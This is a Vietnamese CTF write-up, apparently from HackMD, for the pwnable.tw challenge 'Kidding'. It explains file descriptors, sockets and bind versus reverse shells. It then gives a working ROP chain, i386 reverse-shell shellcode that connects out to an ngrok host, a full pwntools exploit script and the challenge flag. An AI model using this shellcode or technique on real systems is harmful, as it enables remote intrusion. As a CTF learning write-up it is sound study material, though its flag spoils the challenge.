# Reverse shell - trong 1 task được giao của mình là chall **Kidding** trong pwnable.tw, nó sử dụng kĩ thuật **reverse shell** và mình khá khó khăn để giải nó - Đó là lý do mà mình quyết định research về **Reverse shell** và làm báo cáo này ## Overview - nhìn chung kĩ thuật này đòi hỏi phải biết khá nhiều thứ liên quan đến network và hệ điều hành Linux, nên tiện đây thì mình cũng tìm hiểu 1 số thứ cần thiết cho kĩ thuật này ## File descriptor - **File descirptor (fd)** là một số xác định một tệp đang mở trong hệ điều hành của máy tính. Nó mô tả một tài nguyên dữ liệu và cách truy cập tài nguyên đó. - Nó được xác định bằng một số nguyên không âm, chẳng hạn như 0,1,2,... Có ít nhất một file descriptor cho mỗi open file trên hệ thống. ![image](https://hackmd.io/_uploads/rkDyjkucp.png) - khi 1 tiến trình yêu cầu mở 1 file thành công, **kernel sẽ trả về file descriptor trỏ đến một mục trong the kernel's global file table**. - **The file table entry** chứa các thông tin như inode của file, offset, và các hạn chế truy cập đối với luồng data đó ![image](https://hackmd.io/_uploads/B1Gu61_qT.png) ## Stdin, stdout, and stderr - theo hệ điều hành Linux, 3 file descriptor đầu tiên luôn là **stdin (standard input), stdout (standard output), và stderr (standard error).** Công dụng của 3 thằng này thì có thể xem ở bảng sau: ![image](https://hackmd.io/_uploads/HkAfA1dqT.png) ## Linux Socket - The Linux networking stack bao gồm nhiều network interfaces, protocols , và nhiều thứ khác. **Socket** là 1 cơ chế truyền dữ liệu mạng quan trọng được sử dụng để xây dựng các ứng dụng mạng, triển khai protocols và cung cấp dịch vụ network - **Socket là file descriptor** đóng vai trò là điểm cuối giao tiếp cho các quy trình chạy trên thiết bị đó. Mỗi Socket Linux bao gồm địa chỉ IP của thiết bị và port đã chọn. ### Types of Linux Sockets - Stream-oriented sockets - Datagram-oriented sockets - Raw sockets - Sequenced packet sockets ### How Sockets Work in Linux - Socket thực hiện tất cả các chức năng giao tiếp thông qua the socket API ổ. Bằng cách gọi API, user có thể: ``` - Establish and manage connections with other systems. - Obtain information about relevant network resources. - Transfer data to and from the machine. - Perform system functions. - Stop the socket connections. ``` **On the server side:** - **bind()**: liên kết socket với ip và ports . - **listen()**: đợi yêu cầu kết nối từ địa chỉ network được chỉ định - **accept()**: nhận kết nối từ client - **read() and write()**: giao tiếp sau khi server thiết lập liên lạc và tạo socket mới cho client **On the client side:** - **connect()**: kết nối với server - **send() and recv()** : gửi và nhận data tương ứng - **close()**: đóng kết nối. ![image](https://hackmd.io/_uploads/H1dVYeO9a.png) ## Reverse shell vs Bind shell ![image](https://hackmd.io/_uploads/BkZsceucT.png) ### Bind shell - nhìn hình trên thì nếu ai là 1 Pwner thì cũng đoán được Bind shell giống như netcat mà ta hay dùng để remote ở các chall CTF - cách hoạt động của Bind shell là sử dụng công cụ Socat, Socat sử dụng socket để tạo và quản lý kết nối mạng và cung cấp các file descriptor(thường thì stdout và stdin) cho phép thực thi command. ### Reverse shell - Reverse shell (hay còn gọi connect-back shell) là 1 loại session shell (ngoài ra còn có web shell, bind shell,.. ) là shell có kết nối bắt nguồn từ 1 máy chủ đóng vai trò là target đến 1 máy chủ khác đóng vai trò host . - Khi đó target sẽ tạo kết nối ra bên ngoài và host sẽ lắng nghe kết nối đó - Một Reverse shell cũng có thể là cách duy nhất để để thao tác remote thông qua shell mà không gặp vấn đề với NAT hoặc firewall. ![image](https://hackmd.io/_uploads/rJ9S5kt56.png) ### Uses of reverse shell - thông thường, để có thể tạo ra remote shell để remote từ xa, máy tính của attacker kết nối tới một máy chủ target và yêu cầu một shell session - đây gọi là bind shell - Nhưng có 1 vấn đề có thể xảy ra là nếu máy chủ kia không thể truy cập trực tiếp , ví dụ là có thể không có public IP hoặc được bảo vệ với Firewall thì sao? - Trong trường hợp này, Reverse shell cần được sử dụng, khi mà target có một kết nối ra bên ngoài để host lắng nghe các kết nối đến và tạo nên shell session. - Attacker có thể sử dụng 1 đoạn mã độc malware thông qua email giả mạo hoặc 1 trang web độc hại có thể tạo ra 1 kết nối ra bên ngoài tới 1 CMS và cho phép hacker sử dụng được reverse shell . - Trong khi Firewall thì đa số lọc các kết nối từ bên ngoài vào cho nên những kết nối từ nội bộ ra ngoài tới 1 server đang lắng nghe thường thành công. ![image](https://hackmd.io/_uploads/HydIOWt5p.png) ## Build a Reverse shell ### Các syscall cần thiết - **socket** : socket(AF_INET, SOCK_STREAM, 6); ``` socket() creates an endpoint for communication and returns a file descriptor that refers to that endpoint. ``` - **connect** : connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); ``` The connect() system call connects the socket referred to by the file descriptor sockfd to the address specified by addr. ``` - **dup2**: dup2(int oldfd, int newfd); ``` The dup2() system call performs the same task as dup(), but instead of using the lowest-numbered unused file descriptor, it uses the file descriptor number specified in newfd. If the file descriptor newfd was previously open, it is silently closed before being reused. ``` - **execve**: execve(const char *pathname, char *const argv[], char *const envp[]); ``` simply to get shell ``` ### Example - đây là Reverse shell code bằng assembly 32bit, nó sẽ hỗ trợ cho mình trong việc giải chall kidding ```asm global _start section .text _start: ; clear registers XOR EAX, EAX ; set EAX to zero XOR EBX, EBX ; set EBX to zero XOR ECX, ECX ; set ECX to zero XOR EDX, EDX ; set EDX to zero ; socket syscall MOV AX, 0x167 ; 0x167 is hex syscall to socket MOV BL, 2 ; set domain argument MOV CL, 1 ; set type argument MOV DL, 6 ; set protocol argument INT 0x80 ; interrupt MOV EDI, EAX ; as result of socket syscall descriptor is saved in EAX ; descriptor will be used with several other syscalls so ; we need to save it some how for later use. One way is ; to save it in EDI register which is least likely to be ; used in following syscalls ; connect syscall ; to be done.. ; dup2 syscall MOV CL, 0x3 ; putting 3 in the counter LOOP_DUP2: XOR EAX, EAX ; clear EAX MOV AL, 0x3F ; putting the syscall code in EAX MOV EBX, EDI ; putting our new socket descriptor in EBX DEC CL ; decrementing CL by one (so at first CL will be 2 then 1 and then 0) INT 0x80 ; interrupt JNZ LOOP_DUP2 ; "jump non zero" jumping back to the top of LOOP_DUP2 if the zero flag is not set ; execve syscall XOR EAX, EAX PUSH EAX PUSH 0x68732f6E PUSH 0x69622f2F MOV EBX, ESP PUSH EAX MOV EDX, ESP PUSH EBX MOV ECX, ESP MOV AL, 0x0B INT 0x80 ``` ## Reference - fd: https://www.computerhope.com/jargon/f/file-descriptor.htm - socket: https://phoenixnap.com/kb/linux-socket - reverse shell: https://www.imperva.com/learn/application-security/reverse-shell/ # Kidding - Can you get a shell for me? - Just kidding, it's unexploitable. ## Ida ```c int __cdecl main(int argc, const char **argv, const char **envp) { char v4[8]; // [esp+0h] [ebp-8h] BYREF read(0, v4, 100); close(0); close(1); close(2); return 0; } ``` ## Analysis - file binary khá lạ , lần đầu mình gặp, đọc xơ qua các hàm thì thấy nó không khác gì file libc cả - ở đây có BOF, nhưng close(0), close(1), close(2) sẽ đóng stdin , stdout, stderr, nên dù ta có get shell cũng ko làm gì được - khả năng cao bài này ta sẽ dùng reverse shell ## Exploit - khá mất thời gian cho việc xem qua các hàm có trong file, thì mình cũng tìm ra 1 hàm thật sự cần thiết: ```c int __usercall dl_make_stack_executable@<eax>(_DWORD *a1@<eax>) { int result; // eax if ( *a1 != _libc_stack_end ) return 1; result = mprotect(*a1 & -dl_pagesize, dl_pagesize, _stack_prot); if ( result ) return *(_DWORD *)(__readgsdword(0) - 24); *a1 = 0; dl_stack_flags |= 1u; return result; } ``` - trong hàm này có **mprotect**, giúp ta tạo vùng stack có quyền execute - nhiệm vụ của mình bây giờ là cho **eax = _libc_stack_end** để bypass qua thằng if và **set _stack_prot = 7** ```c pop_eax = 0x080b8536 pop_edx = 0x0806ec8b mov = 0x0805462b # mov dword ptr [edx], eax ; ret call_esp = 0x080c99b0 payload = b'a'*8 + p32(0xf7948812) payload += p32(pop_eax) + p32(0x7) payload += p32(pop_edx) + p32(exe.sym.__stack_prot) payload += p32(mov) payload += p32(pop_eax) + p32(exe.sym.__libc_stack_end) payload += p32(exe.sym._dl_make_stack_executable) payload += p32(call_esp) ``` ![image](https://hackmd.io/_uploads/BJ5uEfY5a.png) - điều này tốn 48 byte, còn 52 byte viết shellcode ## Reverse shell - trước tiên thì ta cần public ip trước đã - vào https://ngrok.com/ và tải công cụ ngrok về linux, sau đó dùng lệnh sau ``` ngrok tcp 8080 ``` ![image](https://hackmd.io/_uploads/SyEm_GK9a.png) - ping 0.tcp.ap.ngrok.io rồi dùng ip đó ![image](https://hackmd.io/_uploads/B1gduzt9T.png) - như đã giới thiệu ở trên, reverse shell cần các syscall sau ``` socket connect dup2 execve ``` - vấn đề ở đây là ta chỉ có 52byte để viết shellcode, viết tối ưu các syscall kia là không thể - mình nhận ra khó khăn ở đây là thằng execve() với /bin/sh\0 sẽ tốn rất nhiều byte, nên mình đã thử sử dụng syscall read rồi sau đó sẽ nhập execve, shellcode lúc đầu của mình: ```asm //socket(AF_INET, SOCK_STREAM, 0) //Domain (AF_INET) is defined in: /usr/include/x86_64-linux-gnu/bits/socket.h as value “2” (PF_INET is the same as AF_INET) //Type (SOCK_STREAM) is defined in /usr/include/x86_64-linux-gnu/bits/socket_type.h as value “1” mov ax, 0x167 push 2 pop ebx push 1 pop ecx xor edx, edx int 0x80 //connect(socket, struct sockaddr_in, len) mov ebx, eax mov ax, 0x16A push ebp # ip address push 0x2a340002 mov ecx , esp mov dl, 0x10 //size sockaddr_in int 0x80 //dup2(socket, stdin) mov al, 0x3f xor ecx, ecx int 0x80 //dup2(socket, stdout) mov al, 0x3f mov cl, 1 int 0x80 //read mov ecx, esp mov edx, esp mov al, 0x3 int 0x80 ``` - nhưng đến đây mình nhận ra 1 điều là, mình có thể nhập tiếp bằng tay nhưng ko thể send execve trong script, lý do khá đơn giản vì lần nhập của read là ở host, còn script thì đang remote đến thằng server, khi send sẽ nhập tiếp vào server nhưng server lúc này đã close std rồi còn đâu ?? ![image](https://hackmd.io/_uploads/HkeM1MQKc6.png) - mình đã mất nhiều thời gian để tìm cách khác, cuối cùng mình được hint và làm theo cách khác rất hay và lạ - trước tiên ta cần biết **socket tương tự như fd phiên bản nâng cấp, thực hiện tất cả các chức năng giao tiếp thông qua the socket API** - khi tạo socket(2, 1 , 0) nó sẽ mở 1 fd là 0 (trả về 0 trong eax), mà stdin mặc định là 0 r, socket mở ra cũng là 0, nên stdin bây giờ là socket, mọi thứ ta nhập từ bàn phím lúc này sẽ được lấy ra từ socket - nhiều người hiểu sai syscall dup2 có tác dụng là set quyền cho socket, nhưng mà thực chất thằng socket nó có đầy đủ rồi :)) , **thực chất mục đích của dup2 cũng chỉ để chuyển hướng nhập xuất cơ bản từ /dev/tty thành socket** thôi vì thằng std đã đóng rồi - vậy nên thay vì read thì ta execve luôn , lúc này có socket như stdin rồi nên ta có quyền thao tạo command , bây giờ nghĩ cách mở stdout nữa xong ```asm mov ax, 0x167 push 2 pop ebx push 1 pop ecx xor edx, edx int 0x80 mov ebx, eax mov ax, 0x16A push ebp push 0x29470002 mov ecx , esp mov dl, 0x10 int 0x80 mov al, 0xb xor ecx, ecx xor edx, edx push 0x0068732f push 0x6e69622f mov ebx , esp int 0x80 ``` - may mắn là vừa khít 52byte hehe - theo như mình research thì có 1 lệnh xóa mở stdout trong linux như sau: ``` $ exec 1>&- // close stdout $ exec 1>&0 // connect stdout ``` ![image](https://hackmd.io/_uploads/BkQgtQKc6.png) - dùng lệnh này sau khi get shell là ta có stdout, bây giờ ta có lấy flag rồi ![image](https://hackmd.io/_uploads/Hke9umK9T.png) - quá mệt mỏi huhu, nhưng mà học được nhiều thứ hay ## script ```python #!/usr/bin/env python3 from pwn import * exe = ELF("./kidding") # libc = ELF("./libc.so.6") # ld = ELF("./ld-2.27.so") context.binary = exe p = process([exe.path]) p = remote('chall.pwnable.tw',10303) # gdb.attach(p, gdbscript = ''' # b*0x80c99b0 # c # ''') # input() pop_eax = 0x080b8536 pop_edx = 0x0806ec8b mov = 0x0805462b # mov dword ptr [edx], eax ; ret call_esp = 0x080c99b0 payload = b'a'*8 + p32(0xf6818d12) # ip addr payload += p32(pop_eax) + p32(0x7) payload += p32(pop_edx) + p32(exe.sym.__stack_prot) payload += p32(mov) payload += p32(pop_eax) + p32(exe.sym.__libc_stack_end) payload += p32(exe.sym._dl_make_stack_executable) payload += p32(call_esp) # socket(AF_INET, SOCK_STREAM, 0); # (18.136.148.247) : 18217 shellcode = asm( ''' mov ax, 0x167 push 2 pop ebx push 1 pop ecx xor edx, edx int 0x80 mov ebx, eax mov ax, 0x16A push ebp push 0x29470002 mov ecx , esp mov dl, 0x10 int 0x80 mov al, 0xb xor ecx, ecx xor edx, edx push 0x0068732f push 0x6e69622f mov ebx , esp int 0x80 ''', arch = 'i386') p.send(payload + shellcode) p.interactive() ``` ## Flag FLAG{Ar3_y0u_k1dd1ng_m3}